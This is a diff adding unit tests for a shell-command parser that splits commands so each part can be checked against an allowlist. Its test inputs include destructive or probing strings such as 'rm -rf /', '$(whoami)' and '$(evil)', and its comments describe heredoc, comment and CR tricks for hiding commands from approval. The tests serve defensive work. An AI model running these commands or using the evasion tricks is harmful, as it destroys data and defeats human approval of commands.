+				commands: ["cat <<E\nbody\nE $[a$ ( b )", "b"],
+				error: null,
+			},
+			{
+				// The `#` rides the pop that empties the frames: the word
+				// continues, the glued `#c` takes the placeholder, and
+				// `; rm -rf /` stays live syntax the decomposition surfaces.
+				// Only the pop leaving no frames marks the closer; inner
+				// pops must not, or this tail reads as a comment.
+				name: "marks the closer only on the pop that empties the frames",
+				input: "cat <<E $[a$(b)]#c; rm -rf /\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE $[a$ ( b ) ]#c", "b", "rm -rf /"],
+				error: null,
+			},
+		]
+
+		it.each(guardRows)("$name", ({ input, commands, error }) => {
+			// The quote-tracking walk decides whether the trailing odd run
+			// opens a join: only a single-quote region keeps the backslash
+			// literal. Each row pins one state or advance branch of the walk;
+			// the double-quote and escape rows additionally pin the walk's
+			// advance steps, which a stalled step would hang on.
+			const result = parseCommand(input)
+			expect(result.commands).toEqual(commands)
+			expect(result.parseError?.quoteType ?? null).toBe(error)
+		})
+
+		it("fails closed on the crafted closed-quote backslash join", () => {
+			// `'a'` closes before the run, so the trailing backslash joins the
+			// body's `; rm -rf /` line onto the opener line as live syntax.
+			// The remainder cut stops at its own newline and cannot account
+			// for the joined bytes, so the heredoc fails closed. A walk that
+			// loses the single-quote state accepts the construct instead and
+			// masks the joined line out of the decomposition.
+			const input = "cat <<E 'a'\\\n; rm -rf /\nE\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		// The next rows pin how the comment-onset scan reads a `#` glued to a
+		// closer, and the delimiter's continuation rule. A `#` glued directly
+		// after the closer that ends a substitution frame continues the word:
+		// bash ends the region at its closer but not the word, so a comment
+		// there never starts and the text behind the `#` stays live syntax. A
+		// `)` that closes no frame is an operator token, and the next `#` is
+		// at a word start. Separately, bash removes a backslash-newline pair
+		// as a line continuation before tokenizing, so such a pair inside the
+		// delimiter word never quotes the body.
+		it("extracts a substitution behind a # glued to a $( … ) closer", () => {
+			// bash prints `ab#c` for `echo a$(echo b)#c`: the glued `#` is
+			// mid-word, so `$(zap y)` executes. Dropping the frame bookkeeping
+			// reads the `#` as a word-start comment and swallows the payload.
+			const { commands, parseError } = parseCommand("cat <<E $(echo x)#$(zap y)\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE $ ( echo x ) #$ ( zap y )", "echo x", "zap y"])
+		})
+
+		it("extracts a substitution behind a # glued to a $(( )) closer", () => {
+			// bash prints `a2#c` for `echo a$((1+1))#c`: the arithmetic frame's
+			// second `)` empties the frames, so the glued `#` continues the
+			// word. A frame that closes at the first `)` lands the closer
+			// early and turns the `#` into a word-start comment.
+			const { commands, parseError } = parseCommand("cat <<E $((1+1))#$(zap y)\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE $ ( ( 1+1 ) ) #$ ( zap y )", "zap y"])
+		})
+
+		it("extracts a substitution behind a # glued to a backtick closer", () => {
+			// bash prints `ab#c` for `` echo a`echo b`#c ``: a backtick closer
+			// ends the region, not the word, so the glued `#` is word content
+			// and the `$(zap y)` behind it stays live syntax. A backtick before
+			// the `#` is neither a blank nor an operator, so it is no word start.
+			const { commands, parseError } = parseCommand("cat <<E `echo a`#$(zap y)\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE `echo a`#$ ( zap y )", "echo a", "zap y"])
+		})
+
+		it("extracts a substitution behind a # glued to a chained process-sub closer", () => {
+			// Each `>(…)` pops one frame; only the final `)` empties the stack,
+			// so that closer marks the word-continuation index and the glued
+			// `#$(zap y)` stays live. Marking an inner pop instead reads the
+			// chain's tail as a comment.
+			const { commands, parseError } = parseCommand("cat <<E >(a)>(b)#$(zap y)\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE >( a ) >( b ) #$ ( zap y )", "a", "b", "zap y"])
+		})
+
+		it("keeps a # glued to a bare group closer as a comment onset", () => {
+			// bash balances the `; (echo x)` group before the `#`: the `)`
+			// closes no frame, so the glued `#` opens a comment and `$(zap y)`
+			// never runs. Treating every `)` as a word-continuation would
+			// extract a payload bash discards.
+			const { commands, parseError } = parseCommand("cat <<E ;(echo x)#$(zap y)\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE", "( echo x )"])
+		})
+
+		// The onset scan mirrors the remainder walk's frame stack byte for byte.
+		// Each row below fails if the scan's bookkeeping drifts on one
+		// construct: a wrong closer index, a frame that pops (or fails to pop)
+		// at the wrong byte, or a mismatched frame type.
+		type OnsetFrameRow = {
+			name: string
+			input: string
+			commands: string[]
+			error: "heredoc" | "backtick" | "command-substitution" | "process-substitution" | null
+		}
+		const onsetFrameRows: OnsetFrameRow[] = [
+			{
+				name: "reads a # inside an open backtick region as opaque region text",
+				input: "cat <<'E' ` #a`y\na`b\nE\n",
+				commands: ["cat <<'E'\na`b\nE `"],
+				error: null,
+			},
+			{
+				name: "keeps a word-start # inside a nested backtick region from cutting the remainder",
+				input: "cat <<'E' $( `a #b` )#c\na`b\nE\n",
+				commands: ["cat <<'E'\na`b\nE $ ( `a", "a"],
+				error: null,
+			},
+			{
+				name: "keeps the empty backtick region's closer from marking a later comment",
+				input: "cat <<'E' $( ``) #`\nbody\nE\n",
+				commands: ["cat <<'E'\nbody\nE $ ( `` )"],
+				error: null,
+			},
+			{
+				name: "fails closed on a quote that opens inside an unclosed frame",
+				input: "cat <<E $($()##'\nb'ody\nE\n",
+				commands: ["cat <<E $($()##'\nb'ody\nE\n"],
+				error: "command-substitution",
+			},
+			{
+				name: "extracts a payload behind a # glued to the group-balanced closer",
+				input: "cat <<'E' $( ((a)) )#$(zap)\nbody\nE\n",
+				commands: ["cat <<'E'\nbody\nE $ ( ( ( a ) ) ) #$ ( zap )", "( ( a ) )", "zap"],
+				error: null,
+			},
+			{
+				name: "keeps a brace mismatch from letting an inner closer end the frame",
+				input: "cat <<'E' $( $({a) ))#$(zap)\nbody\nE\n",
+				commands: ["cat <<'E'\nbody\nE $ ( $ ( {a ) ) )", "{a"],
+				error: null,
+			},
+			{
+				name: "keeps a # after a bare-dollar group closer from swallowing the tail",
+				input: "cat <<E $$()#`\nbody\nE\n",
+				commands: ["cat <<E $$()#`\nbody\nE\n"],
+				error: "backtick",
+			},
+			{
+				name: "fails closed on the opener the brace frame cannot balance",
+				input: "cat <<E $(${)#$[\nbody\nE\n",
+				commands: ["cat <<E $(${)#$[\nbody\nE\n"],
+				error: "command-substitution",
+			},
+			{
+				name: "extracts a payload behind a # glued to a bracket frame holding a group paren",
+				input: "cat <<'E' $( $[(] )#$(zap)\nbody\nE\n",
+				commands: ["cat <<'E'\nbody\nE $ ( $[ ( ] ) #$ ( zap )", "$[(]", "zap"],
+				error: null,
+			},
+			{
+				name: "reads the arithmetic opener from its own bytes inside a group frame",
+				input: "cat <<E $(($[(x]))#$(zap y)\nbody\nE\n",
+				commands: ["cat <<E\nbody\nE $ ( ( $[ ( x] ) ) #$ ( zap y )", "( $[(x] )", "zap y"],
+				error: null,
+			},
+			{
+				name: "keeps a # riding a closer after a brace mismatch from cutting the tail",
+				input: "cat <<'E' $( $({a) )#$(zap)\nbody\nE\n",
+				commands: ["cat <<'E'\nbody\nE $ ( $ ( {a ) ) #$ ( zap )", "{a", "zap"],
+				error: null,
+			},
+			{
+				name: "extracts a payload behind a # glued to the closer after a parameter expansion",
+				input: "cat <<'E' $( ${a} )#$(zap)\nbody\nE\n",
+				commands: ["cat <<'E'\nbody\nE $ (  ) #$ ( zap )", "${a}", "zap"],
+				error: null,
+			},
+			{
+				name: "fails closed on a word-start quote after a process-substitution closer",
+				input: "cat <<'E' <()#'\nb'ody\nE\n",
+				commands: ["cat <<'E' <()#'\nb'ody\nE\n"],
+				error: "heredoc",
+			},
+			{
+				name: "reads a # between a redirect and a paren as no process substitution",
+				input: "cat <<'E' <#(`\na`b\nE\n",
+				commands: ["cat <<'E'\na`b\nE <"],
+				error: null,
+			},
+			{
+				name: "fails closed on an unclosed process substitution before a word-start quote",
+				input: "cat <<'E' <(#'\nb'ody\nE\n",
+				commands: ["cat <<'E' <(#'\nb'ody\nE\n"],
+				error: "process-substitution",
+			},
+			{
+				name: "keeps a backslash-escaped delimiter opaque even with an empty word",
+				input: "cat <<\\E\na`b\nE\n",
+				commands: ["cat <<\\E\na`b\nE"],
+				error: null,
+			},
+		]
+
+		it.each(onsetFrameRows)("$name", ({ input, commands, error }) => {
+			const result = parseCommand(input)
+			expect(result.commands).toEqual(commands)
+			expect(result.parseError?.quoteType ?? null).toBe(error)
+		})
+
+		it("walks the body of a heredoc whose delimiter ends in a backslash-newline", () => {
+			// bash removes the backslash-newline pair as a line continuation
+			// before tokenizing, leaving an ordinary unquoted delimiter, so it
+			// expands `$(touch x)` in the body. Reading the backslash as a
+			// quoting construct masks the body and hides the payload.
+			const { commands, parseError } = parseCommand("cat <<E\\\n\n$(touch x)\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\\\n\n$(touch x)\nE", "touch x"])
+		})
+
+		it("fails closed when a delimiter continuation swallows the body's first line", () => {
+			// One newline is consumed by the continuation, so bash joins
+			// `$(touch x)` onto the opener line: the body then has no first
+			// line before the substitution and no terminator can match. The
+			// parser cannot account for the joined bytes, so it fails closed.
+			const input = "cat <<E\\\n$(touch x)\nE"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when a delimiter backslash escapes a CR", () => {
+			// POSIX bash reads `\<CR>` as an escaped CR -- a quoting construct
+			// the msys read layer instead strips -- so the two models disagree
+			// on whether the body is quoted. A CR inside the region leaves the
+			// layers reading different bytes, and the heredoc fails closed
+			// without picking a model.
+			const input = "cat <<E\\\r\n$(touch x)\r\nE\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+	})
+
+	describe("fail-closed on unaccountable structure", () => {
+		// A command whose structure the scan cannot fully account for must cost
+		// a prompt (parseError -> malformed_command), never an approval built on
+		// a partial decomposition.
+
+		it("reports an unclosed command substitution", () => {
+			const input = "echo $(foo"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("reports an unclosed parameter expansion", () => {
+			const input = "echo ${x"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("parameter-expansion")
+		})
+
+		it("reports an unclosed backtick region", () => {
+			const input = "echo `foo"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("backtick")
+		})
+
+		it("reports an unclosed process substitution", () => {
+			const input = "diff <(sort"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("process-substitution")
+		})
+
+		it("treats a closing paren at depth zero as host text", () => {
+			// bash closes `case` patterns with `)`, so a bare `)` is not reliably
+			// a syntax error. With the frame stack empty it cannot mask a
+			// substitution, so it stays an ordinary word character.
+			const input = "echo )"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo )"])
+		})
+
+		it("reports a stray closing brace at depth zero", () => {
+			const input = "echo }"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("stray-closer")
+		})
+
+		it("parses words whose braces balance at depth zero", () => {
+			// bash accepts all three: `find -exec {} \;` (placeholder),
+			// `src/{a,b}` (brace expansion), and `HEAD@{1}` (revspec). A `}`
+			// matching an open `{` is not a stray closer.
+			expect(parseCommand("find . -exec rm {} \\;").parseError).toBeNull()
+			expect(parseCommand("mkdir -p src/{a,b}").parseError).toBeNull()
+			expect(parseCommand("git show HEAD@{1}").parseError).toBeNull()
+		})
+
+		it("parses a PowerShell script-block argument under bash brace rules", () => {
+			// The splitter parses bash-style shell syntax only. It does not
+			// parse PowerShell script blocks as such. bash reads this line the
+			// same way: the braces balance as host words and the pipe splits
+			// the command.
+			const { commands, parseError } = parseCommand("Get-Process | Where-Object { $_.CPU -gt 10 }")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["Get-Process", "Where-Object { $_.CPU -gt 10 }"])
+		})
+
+		it("reads a bare trailing backtick as an unclosed substitution", () => {
+			// In bash a backtick opens a command substitution, so an unmatched
+			// one fails closed. PowerShell uses the backtick as an escape
+			// character. The splitter keeps the bash reading.
+			const input = "Write-Host a`"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("backtick")
+		})
+
+		it("parses a case-pattern closer at depth zero", () => {
+			// bash closes a `case` pattern with `)` and there is no matching
+			// opener, so the closer must stay host text.
+			const { commands, parseError } = parseCommand("case x in a) foo ;; esac")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["case x in a ) foo ;; esac"])
+		})
+
+		it("still extracts a substitution behind a depth-0 closer and fails on an unmatched brace", () => {
+			// The relaxation cannot hide a substitution: the payload after the
+			// `)` is still extracted and allowlist-checked on its own.
+			expect(parseCommand("echo ) ; $(rm -rf /)").commands).toEqual(["echo )", "rm -rf /"])
+			// A `}` with no opener stays fail-closed even after a balanced pair.
+			const unmatched = "echo {a} ; }"
+			expect(parseCommand(unmatched).parseError?.quoteType).toBe("stray-closer")
+		})
+
+		it("keeps a literal << inside a parameter expansion out of the heredoc scan", () => {
+			// bash reads `<<` inside `${…}` as an arithmetic shift, never as a
+			// heredoc opener. `${x:1<<0 }` shifts by zero and expands normally,
+			// so the expansion stays one host word and no body is masked.
+			const input = "echo ${x:1<<0 }"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+
+		it("extracts a substitution written after a literal << inside a parameter expansion", () => {
+			// `<<EOF` inside `${…}` opens no heredoc. The `$(evil)` on the next
+			// line therefore stays live syntax. A heredoc mask here would hide
+			// the payload inside an opaque host word. Allowlisting would then
+			// skip it.
+			const input = "echo ${x:-<<EOF\n$(evil)\nEOF\n}"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "evil"])
+		})
+
+		it("fails closed when a shift-shaped expansion leaves an unpaired closing brace", () => {
+			// bash runs `evil` and `E` as their own command lines. bash then
+			// refuses the trailing `}`. The shift inside `${…}` never pairs it.
+			// Reading `<<` as a heredoc opener would mask all three lines as
+			// body text and auto-approve the command. The closed frame reports
+			// the stray closer instead.
+			const input = "echo ${x:1<<E }\nevil\nE\n}"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("stray-closer")
+		})
+
+		it("still parses heredocs opened inside command- and process-substitution frames", () => {
+			// The shell tokenizes a command context inside `$(…)` and `<(`, so a
+			// heredoc opened there is real and keeps masking its body.
+			const cmd = parseCommand("echo $(cat <<EOF\nfoo\nEOF\n)")
+			expect(cmd.parseError).toBeNull()
+			expect(cmd.commands).toEqual(["echo", "cat <<EOF\nfoo\nEOF"])
+			const proc = parseCommand("diff <(cat <<EOF\nfoo\nEOF\n) <(sort b)")
+			expect(proc.parseError).toBeNull()
+			expect(proc.commands).toEqual(["diff", "cat <<EOF\nfoo\nEOF", "sort b"])
+			// An unterminated body inside such a frame stays fail-closed. bash
+			// refuses the input outright.
+			expect(parseCommand("echo $(cat <<EOF\nfoo\n)").parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("treats a non-matching closer inside an open region as literal and still fails at end of input", () => {
+			// '}' cannot close $( ... . That matches the shell: the character
+			// is literal content. The substitution never closes, so the command
+			// fails at end of input.
+			const input = "echo $(a}"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("reports the widened expansion kinds with the opening index", () => {
+			expect(structuralError("echo $(x")).toEqual(
+				expect.objectContaining({ quoteType: "command-substitution", openIndex: 5 }),
+			)
+			expect(structuralError("echo `x")).toEqual(expect.objectContaining({ quoteType: "backtick", openIndex: 5 }))
+		})
+
+		it("fails closed on a raw NUL byte anywhere in the input", () => {
+			// NUL is the scan's placeholder sentinel. A raw NUL next to a
+			// substitution would degrade the masked placeholder to inert text.
+			// That would hide the payload. The parser therefore rejects the
+			// whole command before tokenizing.
+			const glued = "git status\x00$(whoami)"
+			const { commands, parseError } = parseCommand(glued)
+			expect(commands).toEqual([glued])
+			expect(parseError?.quoteType).toBe("nul-byte")
+
+			const backtickGlue = parseCommand("echo ok\x00`whoami`")
+			expect(backtickGlue.parseError?.quoteType).toBe("nul-byte")
+
+			const loneNul = parseCommand("\x00")
+			expect(loneNul.parseError?.quoteType).toBe("nul-byte")
+		})
+
+		it("caps substitution re-scan depth at the documented boundary, failing closed past it", () => {
+			// Unbounded payload re-scanning spends quadratic time on generated
+			// nesting. It finally overflows the call stack. The cap turns deep
+			// nesting into a parse error at exactly MAX_PAYLOAD_SCAN_DEPTH + 1
+			// layers. Anything a hand-written command could contain stays
+			// parseable.
+			const nest = (layers: number) => "echo " + "$(a ".repeat(layers) + "x" + ")".repeat(layers)
+			expect(parseCommand(nest(64)).parseError).toBeNull()
+			expect(parseCommand(nest(65)).parseError?.quoteType).toBe("nesting-too-deep")
+			expect(parseCommand(nest(8000)).parseError?.quoteType).toBe("nesting-too-deep")
+		})
+
+		it("fails on an unclosed substitution inside an unquoted-delimiter heredoc body", () => {
+			// The scan finds the terminator line. The shell would never finish
+			// expanding the body, so whatever follows the $( is unaccountable.
+			const input = "cat <<EOF\n$(x\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		// bash itself refuses an unclosed `$((`/`$[` and a CR-only heredoc line
+		// ending. Each must fail closed. Masking such text away could hide a
+		// never-closed substitution behind an allowlisted first word.
+		it("fails closed on an unclosed $(( hiding an embedded substitution", () => {
+			const input = "echo $(( $(evil)"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("arithmetic")
+		})
+
+		it("fails closed on an unclosed $(( that would swallow a later statement", () => {
+			// Routing the masked remainder to the host instead would split the
+			// input into two segments. Each segment could then match the
+			// allowlist. bash rejects the input outright, so failing closed costs
+			// a tool error, never an approval. The lone depth-1 closer makes bash
+			// read the opener as a command substitution, so the unclosed frame
+			// that swallows the later line is reported as one.
+			const swallowed = "echo $((1 )\nevilcmd arg"
+			const { commands, parseError } = parseCommand(swallowed)
+			expect(commands).toEqual([swallowed])
+			expect(parseError?.quoteType).toBe("command-substitution")
+			// The matching control input keeps its extraction behavior.
+			const control = "echo $(( $(evil) ))"
+			expect(parseCommand(control).commands).toEqual([control, "evil"])
+		})
+
+		it("reports an unclosed $(( nested in a parameter expansion by its own kind", () => {
+			// The error must name the arithmetic opener. Letting the outer
+			// region fail at end of input would report the wrong construct. It
+			// would also silently drop the arithmetic's interior payloads.
+			const input = "echo ${x:-$(( $(evil) }"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("arithmetic")
+		})
+
+		it("fails closed on an unclosed $(( inside a heredoc body", () => {
+			// A lone depth-1 closer converts the opener to a command
+			// substitution; unclosed at the body end, the frame fails closed
+			// under its own kind.
+			const input = "cat <<EOF\n$((1 )\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("fails closed on an unclosed $[ at top level and inside a heredoc body", () => {
+			// `$[` is the deprecated sibling of `$((`: bash errors on a missing
+			// `]`, so an unclosed opener must fail closed exactly like `$((`.
+			const top = "echo $[ $(evil)"
+			expect(parseCommand(top).commands).toEqual([top])
+			expect(parseCommand(top).parseError?.quoteType).toBe("arithmetic")
+			expect(parseCommand("cat <<EOF\n$[ $(evil)\nEOF").parseError?.quoteType).toBe("arithmetic")
+		})
+
+		it("rejects a CR-only heredoc opener line as unterminated", () => {
+			// A lone CR is not a bash line terminator, so the opener line never
+			// ends: the shell reports an unterminated heredoc.
+			const input = "cat <<EOF\r$(evil)\rEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("rejects a CR-only heredoc opener even when the body ends with LF", () => {
+			const input = "cat <<EOF\r$(evil)\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("rejects a CR-only-bounded heredoc terminator line", () => {
+			// With an LF opener and CR-only line endings in the body, "EOF\r" is
+			// body text to bash. Accepting it as the terminator would validate a
+			// heredoc that the shell reports as unterminated.
+			const input = "cat <<EOF\nbody\rEOF\r"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a CRLF heredoc with an unquoted-body substitution", () => {
+			// The opener line's CRLF already puts a CR inside the region where
+			// the two layers read different bytes. The close cannot then be
+			// verified in a model-independent way. The heredoc fails closed
+			// before any body payload is extracted. This over-rejects even this
+			// uniformly-CRLF input, whose two models happen to agree.
+			const input = "cat <<EOF\r\n$(evil)\r\nEOF\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+	})
+
+	describe("stays parseable inside opaque regions", () => {
+		// Unbalanced delimiter characters a shell never looks at inside quoted
+		// regions stay parseable rather than failing closed.
+
+		it("does not fail on an unbalanced substitution inside single quotes", () => {
+			const input = "echo '$(x'"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+
+		it("does not fail on unbalanced delimiters inside double quotes", () => {
+			const input = 'echo "$(}"'
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+
+		it("ignores a stray closer inside a comment and a substitution text inside a quoted-delimiter heredoc body", () => {
+			const input = "echo hi # )\ncat <<'EOF'\n$(x\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			// The comment's stray `)` is dropped with the comment; the quoted
+			// delimiter makes the body opaque, so `$(x` stays inside the
+			// heredoc host word and is never extracted.
+			expect(commands).toEqual(["echo hi", "cat <<'EOF'\n$(x\nEOF"])
+		})
+	})
+
+	describe("empty-quoted heredoc delimiter terminates at the blank line", () => {
+		// Quote removal makes `<<''`/`<<""` an empty delimiter word, which bash
+		// terminates at the first blank body line. Masking those openers to end
+		// of input would hide every later command behind one allowlisted word
+		// while bash runs it as a separate command.
+
+		it("splits the command after the blank-line terminator of a <<'' heredoc", () => {
+			const { commands, parseError } = parseCommand("cat <<''\nbody\n\nrm -rf /")
+			expect(parseError).toBeNull()
+			// The scan masks the opener through the blank line as one word. What
+			// follows is a separate command, and bash really does execute it.
+			expect(commands).toEqual(["cat <<''\nbody\n", "rm -rf /"])
+		})
+
+		it('splits after the blank-line terminator of a <<"" heredoc too', () => {
+			const { commands, parseError } = parseCommand('cat <<""\nbody\n\nrm -rf /')
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<""\nbody\n', "rm -rf /"])
+		})
+
+		it("fails closed on a CRLF <<'' heredoc at its CRLF blank line", () => {
+			// The blank-line terminator carries a CR inside the region from the
+			// opener through the terminator line, so even the empty-delimiter
+			// form fails closed rather than trusting a model-dependent close.
+			const input = "cat <<''\r\nbody\r\n\r\nrm -rf /\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when a <<'' heredoc body never reaches a blank line", () => {
+			// Without the blank line nothing terminates the body, so nothing
+			// after the opener can be accounted for.
+			const input = "cat <<''\nbody\nrm -rf /"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("keeps masking a bare-<< opener (no delimiter word) through end of input", () => {
+			// A bare `<<` before end of line has no delimiter token at all. bash
+			// rejects this input with a syntax error and never executes it, so
+			// masking the opener through end of input over-approximates a
+			// never-runnable construct and cannot hide a live command.
+			const input = "cat <<\n$(whoami)\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+
+		it("fails closed on a bare-<< heredoc whose opener line ends CRLF", () => {
+			// The delimiter word stops at the unquoted CR. No delimiter token is
+			// present, so the opener masks through end of input. The masked span
+			// carries that CR. The msys read layer strips it, and POSIX bash
+			// keeps it as ordinary content. The two layers would mask different
+			// bytes, so the mask fails closed instead of picking one.
+			const input = "cat << \r\nEOF\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a bare-<< heredoc with a lone-CR body line", () => {
+			// The lone CR terminates a line for one read layer and is stripped
+			// content for the other, so the masked span again spans bytes the two
+			// layers do not read identically, and the mask fails closed.
+			const input = "cat << \r\nEOF\n\r\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a bare-<< heredoc whose CR rides directly against the opener", () => {
+			// Same shape with no blank between `<<` and the CR: the word break
+			// lands on the CR itself, and the CR is still inside the masked span.
+			const input = "cat <<\r\nEOF\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when a CR sits in a bare-<< mask away from the opener", () => {
+			// The check spans the whole masked region, not just the bytes next
+			// to `<<`. The opener line here is pure LF, and the CR opens the
+			// first masked line. Both read layers make this construct
+			// never-runnable. Failing it closed over-rejects. That is the
+			// accepted cost of keeping one region rule for every masked heredoc
+			// span.
+			const input = "cat <<\nEOF\r\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a <<- heredoc with no delimiter word and a CRLF opener line", () => {
+			// The dashed form strips tabs before reaching the same no-delimiter
+			// masking, so the emission check covers it identically.
+			const input = "cat <<- \r\nEOF\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("keeps masking a CR-free bare-<< opener through end of input", () => {
+			// Accept-path control: a CR-free masked span is byte-identical under
+			// both read layers, so the bare-<< masking policy is unchanged and a
+			// CR-free opener still masks through end of input.
+			const input = "cat <<\nEOF\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+
+		it("accepts a CR on the line before a heredoc's opener line", () => {
+			// The masking check spans only the opener-through-terminator region,
+			// not the whole command: a CR before the opener is ordinary content
+			// of an earlier line and both read layers agree on the CR-free
+			// region, so the heredoc masks and the surrounding commands split.
+			const input = "printf x\r\ncat <<EOF\nbody\nEOF\ncat ok\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["printf x", "cat <<EOF\nbody\nEOF", "cat ok"])
+		})
+
+		it("accepts a CR after a heredoc's terminator line", () => {
+			// This is the opposite case of the pin above. A CR past the closing
+			// terminator sits outside the masked region. The region stays
+			// byte-identical under both read layers. The heredoc masks, and the
+			// trailing CRLF line still splits as its own command.
+			const input = "cat <<EOF\nbody\nEOF\nprintf y\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\nbody\nEOF", "printf y"])
+		})
+	})
+
+	describe("grouping parentheses inside substitution frames", () => {
+		// A subshell group `$( ( … ) )` is ordinary syntax: the shell balances
+		// the group's parens independently of the substitution frame, so a bare
+		// `(` inside a frame must be tracked and the group's `)` must not pop
+		// the frame (which would strand the frame's own closer as a stray).
+
+		it("parses a subshell group inside a command substitution and extracts the group payload", () => {
+			const { commands, parseError } = parseCommand("echo $( (echo safe) )")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "( echo safe )"])
+		})
+
+		it("parses subshell groups inside both sides of a process-substitution pair", () => {
+			const { commands, parseError } = parseCommand("diff >( (echo a) ) <( (echo b) )")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["diff", "( echo a )", "( echo b )"])
+		})
+
+		it("extracts a nested substitution through an enclosing group", () => {
+			const { commands, parseError } = parseCommand("echo $( (echo $(whoami)) )")
+			expect(parseError).toBeNull()
+			// The group's text is sliced at the nested substitution's closer,
+			// so the group's shell-word remnants flank the payload segment.
+			expect(commands).toEqual(["echo", "( echo", "whoami", ")"])
+		})
+
+		it("fails closed on a group left unclosed inside a substitution", () => {
+			// bash refuses this input with "unexpected EOF". The parser still
+			// reports the open frames. The cost is a prompt, never a free pass.
+			const input = "echo $( (echo x"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("extracts the group of a mis-nested $(( … ) … ) as its own segment", () => {
+			// bash reads a `$((` whose depth-1 closer is not doubled as a
